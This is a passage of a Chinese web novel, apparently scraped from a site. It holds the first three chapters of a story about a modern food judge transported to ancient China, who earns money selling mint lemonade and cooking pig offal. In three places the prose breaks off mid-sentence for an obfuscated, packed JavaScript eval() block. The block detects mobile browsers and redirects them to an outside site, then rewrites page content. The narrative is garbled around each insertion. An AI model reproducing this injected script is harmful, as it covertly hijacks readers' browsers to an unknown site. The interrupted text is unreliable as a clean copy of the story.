《靠美食在古代逆风翻盘！》 1. 第 1 章 杏花村的夏天，向来是烈日炎炎，蝉鸣如潮水般四处涌起。 此时正值巳时，天还未通亮，热浪却已从四处铺天盖地的卷过来，使得下田的老汉都忍不禁汗流浃背。 临市的一间宅子里，却突起了一阵喧嚷声。杏花村的众人心里几乎都清楚，那里头住的是一个不是本乡的小姑娘。 所以，农闲之余，都忍不禁的探头往那边瞧去。 只见，一位膀大腰圆的妇人叉着个手，怼着个身形纤弱的姑娘，步步紧逼至那乌朱色的大门前，面上的得意之情更是压也压不住，就差点向众人宣告着来意了。 “姜小丫头，你看你这房子装的也不错，就该当嫁房！老婆子我做主把这套房子让给你们当小夫妻，你也出点嫁妆……” 口上说得好听，她猛地迈上前一步，故意地撞了姜芝一下，边眯着眼望向姜芝闺房的布局，上下打量着，恨不得闯进去，摆明了十分的不怀好意的态度。 姜芝的大脑还在有些迷茫之中，身子便被这么突兀的一推，重心一个不稳，踉跄倒地。滚烫的地面霎时烫得姜芝一个机灵，还有些迷茫的眼神瞬间清明起来。 她一边捂着有些擦伤的手臂，一边站起身来，抬起眼皮环顾了一圈，赫然发现： 方才那推掇她的妇人，正倚在门前，身着一身灰色短打，眯着眼上下打量着她，以及她身后那半开着的房门。 而在那朱色的门的背后，一轮轮椅露了半边脸，一个肥头大脸的男人坐在那轮椅上，正色咪咪瞧着姜芝。 与这两人对视之时，姜芝只觉得心里不自觉的升起几分恶寒来。 但她还是忍不住地懵了一怔，这俩人谁呀？ 不是上一秒，她还在那个中华小吃推广大赛当评委吗？ 怎么扭头就到了这里与这俩人对视上了？ 依稀间，她听到左邻右舍的依稀八卦声。 “这李婆子，不厚道啊！” “啧啧啧，谁怪这小丫头寻他们家去租房呢？李婆子向来怕他家那残废儿子落了个绝户，方才坑骗外地小丫头……” “老李就这德行！我还听她吹过，说这租房的小丫头她特意打听过，无爹无娘，就说有个省城的哥哥，但老李说呀，那大概也是小姑娘吹嘘出来的，不能当真……” 听到众人议论纷纷，姜芝懵了一瞬，然后反应过来——她这莫不是穿越了？ 记忆中残留的记忆碎片与众人的八卦交错起来，拼凑出来原主的生平： 自原主有记忆之时，父母双亲便不见踪影，只有一个长她几岁的兄长，却在她十岁时去参军，只给她留了三两碎银。后来，附近的山贼又瞧上了她，她方才不得不背井离乡，来到了此处，凭着这最后的三两碎银租了这李大婶单间小屋，租期三年。 记忆到此为止，不过，虽然记忆里没有，姜芝也能半猜到原主的想法：找个活计或者找个夫婿，之后赖以度日。 谁知这房东李大婶并非心怀善意，借着原主的沉没成本够高，强逼原主倒嫁给她那残疾儿子。 总之，原主的不谙世事确实使她踩入了大坑里。 而此刻，就在姜芝回忆原主记忆的瞬间，李婆子也在打量着姜芝。 在刚才一番推搡下，她浑身剩下的裙衩都沾了些灰，显得有些微脏兮兮，却不掩其半分美人态，心里不由得生出了几分记恨与不满：谁家好人姑娘天天此番样貌抛头露面出去，不顾家！ 一边心里居高临下地评判着，她一边俯视着姜芝，同时心里盘算着自己还能从中得到什么：这屋子铁定不能给这媳妇住，肯定得搬过去照顾她儿子方可；这X人日日在她面前炫耀的银子，也必须孝敬给她；还有这屋子，这X人确实打理的好，也必须孝敬给她…… 姜芝懒得看上对面这老东西一眼，她太清楚这老东西会想些什么了：她的心思都快从眼里透露个分明出来了。 她只心平气和地长呼了一口气，闭上眼来再睁开的瞬间，忽然又笑了起来，如春风化雨般，看得那李婆子一愣，差点以为她要干些什么。 谁知下一秒， 姜芝却反常地没有做出任何举动，只一转身便走进屋。 李婆子眯着眼，面上倒是略微浮现出了点犹豫与疑惑，没有及时跟紧上去。 就在这个没跟紧的刹那间，屋子里面“乒乒乓乓”炸响了起来。 声音响起的瞬间，李大婶也顾不上犹豫了，下意识地推开门冲了进去，赫然发现： 方才她看好的那张大床，柜子，椅子在这短短的几秒钟，就被姜芝砸到几乎用不了的地步。她还想慌忙抢救一下，却被姜芝那狠厉的眼神一瞪，吓得整个人懵了一瞬。 总之，在她再一次反应过来之后，姜芝已速度极快地把房屋里她自己所置办的大件砸了个七零八落，而小件物品则被她卷在一起，包成了行囊。 姜芝一手提着包袱，一手单拎着把菜刀，一边恶狠狠地指向那人，一边面色反倒轻轻的笑了起来。 但与面上的笑不同的是，她此刻喷涌而出的话语，骂的很脏。 “李大婶，倷真把我当驴耍呢？” 姜芝穿越前是个浙江人，骂人时也不自觉的带了些浙江口音。平日里听起来软绵绵的口音，骂起人来倒是分外的干脆。 “我告诉你，姓李的你不把我年前租房交你的三两碎银子都还回来，我今日便叫官府来瞧瞧，看你这老婆子欺我这兄长参军的孤女——我定叫那十里八乡都知你家那残疾肥猪的‘赫赫威名’！” 李大婶一时间被骂的镇住了，等她反应过来之时，眼神如刀般恶狠狠的盯着姜芝，像饿狼咬住自己的猎物一般不松口。 姜芝也同样恶狠狠的瞪了回去。她笔直地站在原地，手上紧紧抓着行囊，好像静等那李大婶出招一般。 就在两人僵持之时，气氛凛冽—— 谁知，门后那肥头大耳的轮椅哥却忽然劝起了李大婶，具体在劝些什么姜芝听得也不甚清楚，只知道那李大婶面色明显和缓了许多。 不过几分钟的功夫，就在姜芝无聊地把报复的想法都想了几十种后，那俩人隔着门的窃窃私语总算是完事了。 李大婶不情愿地嘟嘟囔囔着从袖口缝着的小口袋里掏出了原先姜芝的那三块碎银子，手头磨蹭了一会，犹犹豫豫地递了出来。 然后被姜芝一把抢了过去。 姜芝拿到手上银子，掂量了一下。然后便一把推开那两人，站在门外又笑了起来。 笑得很甜，酒窝都微微浮现起来的那种甜，但是却让那俩人看的有些不寒而栗。 “李二光，在这装什么好人？以为我不清楚你吗？” 她嘴角忽然漫上了一股笑，眼中却清醒地有些冷冽，同时她把手放在嘴边，鼓成喇叭型，大声向那闲话聚集处的大娘们的方向喊道。 “李大哥，日后莫再偷看村里小姑娘们洗澡啦！” 李大婶和她儿子都先是被这话搞得一怔，随即李大婶猛地转头望向她儿子：她可太清楚她儿子德行了。 看到她儿子那略显躲闪的眼时，她努力深呼了一口气，一把推开她那不争气的儿子，沉着脸色去独自面对村里头那群蜂拥上来的“正义审判者”了。 只有她那儿子，一时间既不敢跟上她妈，也不敢向着姜芝发火，只得畏畏缩缩地推着他那轮椅，向家的方向跑去。 姜芝吹了个口哨，心情愉悦地大迈步向前走去，一想起后面那群人的鸡飞狗跳，便心情愉悦极了，便懒洋洋的顺着村口大路走了出去。 如今，她正一边掂量着自己随身携带的小包，一边思索着今后何去何从。 这杏花村显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178969|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是待不下去了。 倘不如去更加开放些的镇转转瞧瞧？ 她边想着，动作也麻溜的很，直接一蹦一跳地，向着前往镇上的那条大道走去。 镇上果然繁华多了，姜芝到之时正是大中午，太阳滚辣辣灼着地面。 姜芝扛着她那小行囊走了近两个时辰，终于到了此处。她抹了把汗，挑了条繁华大道抬头迈步走了过去，直奔街上的一处牙行，她上前一打听—— 霍！ 听到那价钱，她简直心生无望。 姜芝所在的此处邑子镇在江南也算繁华之地，牙行按姜芝提出的标准，确实有一间，而且还风水好且坐北朝南，一切听起来都非常的美妙—— 但，人家的身价听上去却格外不美妙，颇让她高攀不起：按年租金来收，一口价十贯银。 听得姜芝险些两眼一黑—— 这钱，不光得把她身上所剩银两尽情掏空，估计还得卖个身才能凑齐。 她找了个阴凉地蹲着，细细的把如今能快速赚钱的方法都想了一番。 最终决定：利用前世经验，去夜市上卖小吃吧。 至于卖什么？ 姜芝一边思索着，一边往菜市场的方向走去。 她现在一无灶，二无人手，三无佐料，要想在夜市赚上一笔，必须要找一项略微简单但又有些许技术含量的现代小食。 最好能消暑，还要符合他们这蜀地风俗—— 边脑海里盘算着，她边四处打量着。 突地，她眼前一亮—— 在市场的一处角落里，赵老七盘腿坐在那里，一边有些焦急的抹了把汗，一边四处张望着。 他的面前，正摆着十来个金黄的果儿。 偶有路过不认识的人，好奇地前来询问，也被一旁的人拉住了。 因为众所周知，这金黄的果儿，又不是没人吃过，酸得出奇，苦得要命。 当然，这玩意不是毫无用处。 也有达官贵人偶尔会拿之泡泡茶。 但瞧着如今的时辰，很明显，至少今日，这大爷等候的达官贵人怕是不会来了。 赵老七焦急地抹了把汗，眼神四处焦急地瞥着，他甚至无暇去扇着手边的蒲扇，汗水从汗额间滴落到地上来，打湿了地面。 他今日是从城的另一边赶趟过来的，走都走了一两个时辰。 倘若今日不卖完，他又得灰溜溜的提溜回去，且莫说这近四五十两的重量，就说今日耽误的这时辰，就够他在自家婆娘面前抬不起头来。 此时此刻，他恨不得点起香火，祈求土地爷：快来个好心人，把他这摊上包圆，哪怕降些价，他也乐意！ 突地，他听到了一道天籁之声。 “您这果子，怎么个卖法？” 姜芝蹲下身来，细细的揉了揉，摸了摸，确认了这就是现代的柠檬后，抬起头来，盯着眼前这位有些焦虑的大爷，开始问价。 赵大爷大喜过望，他恨不得蹦起来，可看着眼前小姑娘还有些简陋的衣裳，他又有些犹豫—— “姑娘，这黄金果，倘若没吃过，怕也酸苦难以下咽——” “没事老板，卖我即可。” 片刻后， 大爷迷茫地扛起袋子来，迷茫地向着家的方向走去，迷茫地放在自家后厨门前，迷茫地向自家婆娘递出三串铜钱。 是的，姜芝这个目前啥也没有的家伙，用这三串铜钱，买下大爷手上所有的柠檬，顺便还要借大爷厨房一用。 大爷在前面扛着袋子时，姜芝还不忘在后面街道上的铺子里，挑挑拣拣了些便宜廉价的陶罐，也同托人送到大爷家的后厨前。 她自己只遛弯到另一个小摊上买了些许蜂蜜，又在路边采了一些绿色的草叶，便一步一晃地从大爷家走去。 2. 第 2 章 姜芝将刚才的各种各样的杂物先摆好在地上后，又开始了新一轮的忙碌。 制作柠檬蜜水！ 姜芝一边洗着柠檬，一边心里还在思索着方才赵大爷所说的“酸苦难以下咽”，心中倒不由得一乐。 她可太知道为何了： 柠檬的苦味多半来源于没削皮。至于酸味，则单纯是因为柠檬的酸味夹着涩味，不怎么在古人的胃口上。不然，古代那青李子你猜，谁最爱吃的？ 而在现代，因为糖的普及，柠檬这种酸恰好能与糖中和，也逐渐被普罗大众所接受。 总之，就是刚好方便了姜芝这个脑海中自带菜谱的穿越人士。 姜芝手脚也是飞快：先把方才磨得水光的刀，沿着边缘去了柠檬那层黄黄的“外套”，只留下里头白白的内衬，再沿着中线一刀切开。 酸涩的气味便顺着刀与柠檬的接触处蔓延开来，激得姜芝一个喷嚏便出来。 基本食材姜芝这就差不多处理完了，但姜芝做的可不仅仅如此： 她开始洗刚才在路边采的绿叶了！ 一边洗着，姜芝边笑了起来：大抵因为曾经做主播的原因，她对版权这方面分外敏感。而很明显，古代显然没有这个版权保护意识。于是她只能动一些小巧思了—— 比如，她曾经的独家妙招： 薄荷口味柠檬水，绝对解暑，绝对清凉！ 这个巧思也极其简单：薄荷择出绿叶片，用手指尖碾碎，在每个罐子里挨个撒上些，微微泡上一会，那水中便盈满了薄荷的清香与凉爽！ 这个巧思简单，但又不易破解：以目前这个时代还把薄荷种在路边的情况来说，大抵是还没发现薄荷的价值呢！ 然后姜芝又开始继续制柠檬了： 盐水洗过的木勺被姜芝一把捞了起来，上下反复挤压柠檬的切面。汁水被恰到好处地接在木勺里头，再手一晃，便被承在了刚才大娘给的盆子间。 姜芝又搂起袖子，把方才买的蜂蜜全部一把倒进里头。然后用箸子将它搅开以后，便挨个在每个小罐中倒了三勺左右。 刚才在切柠檬的时候姜芝便发现，大抵是这里的气候太适宜，又或者是其他有的没的原因，总之，这柠檬味道确实酸得带劲！ 再配上些蜂蜜，和着那冰镇一般风味的井水，闻起来就霎时开胃。 姜芝挨个把这50小罐装好瓶后，便就巧笑倩兮地拎着一罐，一蹦一跳地走出了厨房。 边走着，她忽然眼瞳一亮。 她笑着向前面那位急匆匆地卖菜回来的大娘吆喝了一声。 那赵大娘正是借姜芝厨房的那位赵大爷的媳妇，性情至少据赵大爷来说，是颇为泼辣的厉害的。 姜芝笑得腼腆，端着罐迎了上去。 “赵姨，且来试试我方才新制的这饮品不？” “小丫头，挺有心的。” 那赵大娘听闻姜芝一声，抬起头来，一瞧到那罐盖的小孔中那不断向上冒的白汽，心头松了几口气，口中也忍不禁打趣了几分。 她一边换了只手提溜着手上的菜篮，一边另一只手干脆地一接，头一昂，那冰凉的液体便一口被灌入了嗓子眼里。 赵大娘本以为这姑娘在那嘀咕着制冰什么之类的，不然也难以将这罐子搞得如此冰凉。 谁知道那液体方才入口，赵大娘就已经被惊了又惊—— 酸味先他人一步地在口腔里炸开，在舌尖上弹跳，酸得赵姨脸颊两侧的赘肉都微微抖动起来。 然后甜味马上涌了上来，安抚住了刚才被酸味惊动的味蕾，这酸后的甜显得更加珍惜无比。 最后，当一切味都顺着咽喉咽下去后，留在口腔中的便只剩下冰爽，让赵姨一下子就解去了夏日午时的燥热！ 一口饮尽后，赵姨瞧着姜芝，却没夸赞，反而叹了口气。 “你这姑娘，太实诚了呀！” 姜芝一愣。 “怎么了姨？是味道不行——” “就是味道太行了——唉，你娘怕曾经也没来得及教你这些，你赵姨我就如今坦诚跟你说了，做人做事要留一手啊。” “倘若你赵姨我今日不怀好心，偷着你这东西去卖了，你想想后果……” 赵姨看着顿时间垂头丧气的姑娘，却又无端觉得有些乖巧过剩，便还是安慰了一句。 “赵姨也知道你这是信任赵姨，但——也罢了，冲你这份信任，日后有什么难事，赵姨也来帮你！” “姨，我现在就一事相求，目前我想在做点吃食小生意，想租间带厨具的屋子，不知姨是否有相关出路？” 赵姨皱眉思考了片刻，又出门问了几个邻居，最后才给姜芝答案。 姜芝刚才是刻意装的可怜卖的萌，听完赵姨回答后却是真的惊喜。 “就在赵姨家不远处的一条巷子里，一个小秀才家无进账，只剩得那三间屋，想找个好户人口把这房租出去。” 她脑海里大概盘算了一遍后，就挑着剩余的陶罐，一步一晃地向着夜市的方向而去。 * 等姜芝到了夜市，全身上下已经像是在水里泡过一遍了般，汗如雨下。 她微微瞥了瞥日头的方向，差不多确认了时候，便找了处街角，准备开始卖饮品了。 姜芝找的地方自然也是她细细想过的。 人们通常逛到街尾，还会停留在反复衡量商品价值的时候。此时手上东西又不太多，又有些走累了口渴了，是一个相对比较适宜她这种卖饮品的位置。 虽然好曝光的位置被别人抢去了大半，不过，她也没打算在这坐以待毙。 “阿婆阿公，哥哥姐姐弟弟妹妹们，口渴的话可以来试试我的冰饮品噢！” 如此奇异的架势，纵然是在街尾处较为偏僻的地方，也吸引来了众多目光。一些本就有些走累了，口渴了的姑娘家更是脚步渐渐慢了下来。 或大或小的声音在姜芝周围聚成了一道长城。其中有胆大的，上前一步，询问了起来。 “小姑娘，你家啥子饮？多少钱？你且也没说呀。” 姜芝此时面上倒是显得微微窘迫了些，她浅浅的惊呼了一声，后又笑嘻嘻地向着众人大声道。 “各位客官，方才是小的忘记说了，小的卖的是酸甜冰水，爆酸爆甜爆冰！15铜钱一罐，几位且不来试试？” 边说着，她面上笑嘻嘻的，却在心里腹诽着： 倘若方才第一次介绍的时候便说了，还能吸引来这么多人吗？ 正当姜芝腹诽之时，一个面带帷纱的女子大跨步的上前来，把罐子上下打量一番后，挑眉望向姜芝： “你这东西，卖这么贵，确定好喝？” “酸倒基本上应该是能保住的。至于冰？甜？” 语气带着些许挑衅与质疑。 但，这也是旁观众人最想问的问题。 众人之所以围在这里，不是被吸引住了。而是个个都颇为奇怪： 卖这么贵，真的有人吃吗？ 姜芝倒是笑得更加灿烂了，她一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178970|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身来，落落大方地向着向她不断投来质疑目光的众人行了个礼，面带笑容道： “诸位客官，我姜某敢在此说，倘若在这一刻内，尝过我卖的这酸甜冰水，倘若有人觉得不酸不甜不冰——” “我姜某不仅把钱尽数退还，还将剩余的全都敬给土地爷！” “好气概！” 那女子喝彩道。 “那我浅来，为诸位试试！” 说罢，她便直丢出十五铜钱，落到地上时“哐当”作响。 姜芝倒照旧笑颜如花，落落大方地挽起一罐，递给那女子。 那姑娘也动作利索，一手掀起蒙面的帷纱，一手端起罐子，二话不说，便仰头一口饮了下去。 先涌上舌尖的，是像那蜜蜂般轻轻一扎，酸劲涌上来的最快，直往齿缝里钻。 那姑娘刚想砸吧砸吧嘴骂过去时，那冰爽却先一步在她的口齿间爆开来，一下子消去了暑日的热气，她甚至有种冷气从头顶往外冒出的感觉。 紧接着，甜味也从这两种制霸舌尖的味道里钻了出来，细细密密的藏在口中每一个角落里。 她方才一口咽的太快，味道还没在口腔里完全散开之时，便已咽了进去。导致那后劲好不容易漫了上来时，她便已经口里空空如也。 幸好，那老板的罐子并不算小，一大口咽下去，罐里还剩下大半，那姑娘咽下第一口后，下意识地向罐子里头瞧了瞧，心中不自觉地想。 她又咕咚咕咚开始了下一口。 眼瞧着周围人越围越多，而那方才第一个吃螃蟹的姑娘目前一口接一口，甚至没有任何停息的时间去回答众人之时，姜芝眼底的笑意弥漫得越来越深。 不过瞧着众人焦急的目光时，她还是不紧不慢地咳了一声，悄然打断了周围的一片寂静。 “客官，不知，您觉得味道如何？” 话音落下，那姑娘一时间连带着口里的最后一口一起僵住了。 “再给我来两罐——” 那姑娘轻咳一声，仗着面上裹着的帷纱，捂住了脸上的尴尬红。 同时也变相回答了姜芝以及众人。 虽然但是，姜芝一边打包，一边其实很想告诉那姑娘：你那面纱，不遮面色，更遮不住你脸上的红！ 不过姜芝向来秉持的原则告诉她：这时候，就要当没看见。 姜芝不在乎，那姑娘也不在乎，拿到手三罐后，便急匆匆的推开人群，走了。 但周围围着的众人却一下子被这姑娘搞得炸开了锅来。 一部分人觉得，这姑娘大概说的是真的，瞧她方才那样沉迷，但这老板确实有点东西。但又有另一部分人觉得，那姑娘指不定是这老板刻意找的人…… 总之，姜芝此时的周边，犹如万只的麻雀开起了大会，直搅得姜芝一阵头疼。 不过，美芝面上倒依旧那副瞧上去温柔至极的笑容，即便是向着那些对她恶意猜测的客人。因为，她心知肚明：越是大的声浪，她越是被吸引到客人—— 果然，没等众人吵上多久，又有人来了。 一个坐在轿子上的小姐的轿夫过来问价，不过具体问谁问的，众人包括姜芝都清。 还没等姜芝说上话，围观的众人已经替她回答上了。 “15铜钱，老贵了！” 姜芝也没吭声，也没反驳，只眉眼弯弯，露出右边脸的小酒窝来，直勾勾地望向那轿上贵妇。 “小姐姐，倘不试试？这饮品——绝对酸甜可口，冰爽宜人！” 3. 第 3 章 在众目睽睽下，那小姐倒是跃跃欲试地冒出了头片刻，然后又被她身旁那位一直低头垂眼的侍女强行摁了回去。 那位侍女瞧着自家小姐这状态，还没把口中气叹出来，脚便已自觉地下了车，又自觉地向着姜芝随手一丢出了半鼓的钱袋，又自觉地端了一个显得还算干净的陶罐，自觉的递给了自家小姐。 谁知，自家侍女还在费心维护的形象，那小姐倒是不讲究，直接一仰头，咕噜咕噜便就已经下肚了。 只第一口下肚，那小姐就想大呼一口气：夏夜热风里，冰饮所带来的清凉水汽合着薄荷带来的解暑气，共同灌入口齿之间，钻入那不断向外冒着热气的嗓子眼里，真的是—— 太舒服了！ 那小姐眼前那是亮了一亮又一亮，“咕噜咕噜咕噜”喉咙滚动几下间，一整罐的冰饮便已被她一扫而空。 姜芝照旧叉着手站在那里，却无端让方才议论纷纷的众人一阵尴尬： 如果第一次那个质疑的姑娘还勉强可以称得上与老板做戏的话，那放在这个显然初到且两人分明不熟识的贵族小姐，老板又如何买通？ * 不一会儿，姜芝的地摊前面便已经人满为患了，与之前不同的是，此番无数人伸手上下掂量着，企图在分量上占些小便宜。 毕竟，现在所有人都知道了，这老板大抵是真有点本事，不然也难得两位路过的人同时对其赞不绝口。 于是，等到迟钝的人终于缓过神来，便看到越来越多人挤到了老板身前，蜂拥而至的挑选起来。 姜芝接钱也是越发笑眯眯起来，她边顾着接钱数钱，另一只手还能突然在众人你推我搡罐体的时候忽然从犄角旮旯里伸出来，稳稳的把罐子扶正了起来。 待人烟渐渐散去，摊子上的货物也一干二净起来。 姜芝终于微微闲了下来，来得及抹下了把额间的汗珠了：虽然她刚才看上去也从容至极，但跨时代的商业她也是头一回做，心里多少有些没底。 不过瞧着手中那堆都堆不下的铜币，她的眼睛里都像冒出了光。 要知道，她这儿的成本价主要来自于柠檬，用了300铜钱。至于剩下什么加在一起也不到100铜钱，所以说成本约等于400铜钱。 但收益呢？ 总共50罐，每罐15铜钱，750铜钱就这么到手了。 按照姜芝的现代商业观念来讲，这毛利率都快近50%了。简而言之就是，大赚特赚了！ 姜芝深呼吸了口，劳累了许久的嗓子顿时像裹了蜜般，沉重的胳膊也好似飘在了云间。 诚然，这钱不多。 但对于姜芝来说，这钱除了意味着她可以从此脱离原主那没有进账只有开销的曾经，还象征着一件事—— 她真的可以用在现代的所见所学，在这个时代寻出一条出路来！ 她又怎能不开心？ * 姜芝细细的把方才数清的钱数放进了钱袋，便收拾了东西，准备走了。 她眼下还有个要紧的事儿：住房问题还在没得下落。 趁天色还没黑到彻底，她得赶紧去赵大婶说的那地方看看。 “咚咚咚”， 姜芝单手扣响了赵婶说的那家地址的乌色大门，还在一边心里嘀咕着： 人人说，看屋前先看门，这门，怎么看也不像穷困潦倒的书生家的呀？ 不过她也没多想，就纯当这位书生颇为要脸，里头怕早已危屋失修了。 没敲上几下，人影不见，但是一道声音倒是由远及近，先从门后钻了出来。 “……，今儿你俩又拉着我去哪——” “等等，你谁？” 一个边捋着还湿着的头发的男人边一手打开了门，边随意的扫了一眼过去。 但随意瞥去的目光，看清楚来者后，便突兀地顿在了原地。 姜芝也在打量着这个未来的可能的房东： 瞧到这人第一眼，她只觉得是个唇红齿白的小帅哥！ 再细细打量，分明是个朗目疏眉，明眸皓齿的帅哥，只偏生那狐狸眼有些轻俏，看上去颇有一种—— 轻俏之感。 不过也可能是这帅哥目前半敞着衣裳的缘故。姜芝严谨的在心里补充道。 姜芝心里在悄悄地舔颜，面上倒是还是很礼貌地向着这人笑了笑，露出了个小酒窝： “公子，我听邻街赵姨道，你这屋子也在寻租客？” 裴烨一愣。 找租客这三字直接被他翻译成了“他嫌这破屋子大？” 于是，在他的大脑终于反应过来的瞬间，不禁嘴角抽了抽。 这话说得，但凡让他那群狐朋狗友听说他裴家二子还嫌屋子里少人，都得笑个三天三夜方肯罢休。 不过，此时四方无人，他揉了揉下巴，又瞧了瞧门外那位眼睛漆黑雪亮的小姑娘，心里倒一时晒笑： 就当他二十来年从未出现过的怜弱心突兀的又犯了吧！ “嗯，对！” 裴烨犹犹豫豫地接受了这个设定。顺便把刚才还未拉好的衣领收拾了下，谁知面前这姑娘一句话就把裴烨搞蒙圈了。 “嗯，那正好，不知今日可否看看房，我好及时定下。” 裴家二公子，一个向来锦衣玉食的主，可是从不晓得租房的步骤的，听姜芝这今晚显然想入住的打算，那叫一个憋得有些表情狰狞了。 不过最终，他还是强装镇定下来，用力咳了两声，道： “可以，你且进来吧。” …… 最终，在二人的商讨下，姜芝以一两一钱的价钱租了裴烨的一间空屋一年，并且在此期间可以借用厨房厕所。 姜芝其实此时也有些意外，她特意去看了，那屋子其实要真租出去价钱绝对不仅如此。她方才刻意压了个低价，想向这公子个心理预期，谁知这公子讲也不讲价，直接应下来。 这搞得她心里也满是问号：这穷困潦倒到要对外租屋的公子，咋不会讲价到一种让人感觉到大手大脚的地步呢？ 不过很快，她便说服了自己：没准就是大手大脚，所以才穷困潦倒呢！ * 于是，打钟人走上大街，宣告着这个暮色深沉的夜晚彻底降临之时，姜芝已经勤勤恳恳像一只小工蚁一般，把行囊都搬到了这里。 然后又匆匆地收拾了一下那间租下来的屋子，便陷入了来到这个新世界的第一个夜晚的安眠。 * 天方蒙蒙亮之时，姜芝便已经醒了。 被热醒的。 她抹了一把额间脖颈间那滴落成水的汗珠，心中不由得想念起了现代的空调风扇。 不过，即便天气如何之炎热，她也照就要开始今日的忙活了。 她先匆匆的起身梳洗了一番，抓起一件轻薄的褙子，便往身上匆匆的套好，便急匆匆的出门了。 为何起这么早？ 正是今早的早集，她要买些菜在屋子里，不说今日夜市摆些什么，就单论今日早饭也得早些动弹起来。 “黄瓜，来两条！” “冬瓜，老板给我切上个五文的！” “豇豆，来个一把！” …… 买完蔬菜，姜芝虽然手头上东西渐渐多了起来，以至于要单手抱着些东西，不过她也不忘去杀猪摊那边瞧了瞧，企图捡个漏。 果然，那新鲜的猪肺，大肠就那么随意的丢弃在地上，姜芝特意去问了问老板。 那牛高马大的杀猪汉轻飘了她一眼，见她那模样，便随意拿二十文的价格便让她带走。 甚至还丢给她了半截麻绳。 姜芝拎了拎，确认其牢靠后便一把把那猪肺，猪大肠系在了绳子的两侧，然后直拎到城外那条河边，瞅了瞅四下无人，便撸高衣袖刷刷的开始洗了起来。 没办法，以她对房东的刻板印象来讲，怕是本身还能忍她片刻，闻到这气味，都要赶她出去。 蔬菜倒是普遍好洗，这个时代的肥料都是农家肥，只要稍微洗净并细细的瞅着上头没有虫子，便已算完毕。 然后，她边皱着眉头，边开始洗那如猪肺与肠子—— 那肠子的恶臭味儿已然快熏的她受不了了。于是她先把大方向处理了下： 姜芝先半憋着气，把肠子的里面翻了出来，然后用2块石头压好，确认其不会飘走后，便任它自行被水流冲洗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178971|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做完这些后，姜芝已然憋得脸颊通红，她慌忙跑到上流，稍稍呼了口新鲜空气，洗净了脸，又开始继续洗猪肺： 猪肺倒是不算臭，只是纯麻烦而已，这也是为什么这个时代的人不愿意处理这个的原因。 不过，姜芝一边手上拆着麻绳，一边笑了起来，如同一只狡猾的小狐狸。 毕竟，她可知道一个关于洗这个的小妙招—— 猪肺单泡水里可不一定能洗净，她一把从身上掏了个细长竹筒，并将其一头扎入气管中，在确认严丝合缝之时，她就把另一边直接扎入河边那活动的流水里。 活水便直接顺着竹筒向猪肺里头流了进去，姜芝还不满意似的，另一只手还不忘了上下挤压个血水，确保里里外外都洗的干净这时，她方才将其从水里捞出。 许久，这猪肠子与猪肺总算是初步去完污。趁这会功夫，姜芝掏出了方才的集市上买的粗盐，然后细细的往两个上头撒。 然后又在大石头上对这两个进行反复的揉搓。 许久，总算恶臭不在，也算是初步清理完毕。 她便又拿起方才的麻绳，在流动的河水中掏洗了几遍，便又打了个麻花结，单手把这俩东西拎起来，带回来了租屋。 * 裴二公子醒的时辰并不算早。 在他眯眼清醒过来之时，太阳已经斜射入屋了。 他散漫的打了个哈欠，狐狸似着半扣着上衣准备起身开房门之时，忽然听到外面“哐当哐当”的炒菜声时，僵住了。 他忽然想起了昨天的一时可怜—— 如今他家里不是空无一人了，不能直接空挡出去了。 于是又垂着个脸，扣好了衣裳。 “姜姑娘，你在厨房干啥？” 他懒洋洋地喊了一声，不过，一阵香味却先姜芝一步替她回答了。 裴烨一边把玩着腰间系着的那块玉佩，一边抬眼望过去，便瞧见：那姑娘如今正在灶台前忙活，她的身影不算大，更算不上壮，反而有些显得细瘦单薄，却偏生举着个大锅铲，在灶具间如蜂一般上下飞舞。 裴烨又微眯起眼来，才细细看出那姑娘现在在做什么： 炒——豕肠？ 看清之时，他瞬间被吓得一个激灵。 “等等，你买这臭东西干嘛？这玩意味道绕梁三日的，你要煮出去煮，莫脏了我屋子！” 听到这大动静，姜芝这才抽了点余光白了那吓着汗毛炸起的男人一眼，冷淡地怼了他一句。 “你且闻到什么臭味？” 裴烨一愣，这才细细在空气间一嗅：果然，竟没有他曾闻过的那种滔天的臭味，反而整个空气里只弥漫着些辛味： 只见那姜姑娘正手疾眼快地用箸子在锅里翻炒着放才放进去的小葱蒜末和姜丝，那小味儿瞬间便飘了出来，姜芝又把一旁备好的干辣椒也同时丢进锅里，爆了遍油，那种香辛料所带来的混合油香瞬间勾住了裴烨的鼻子，让他在原地停住了。 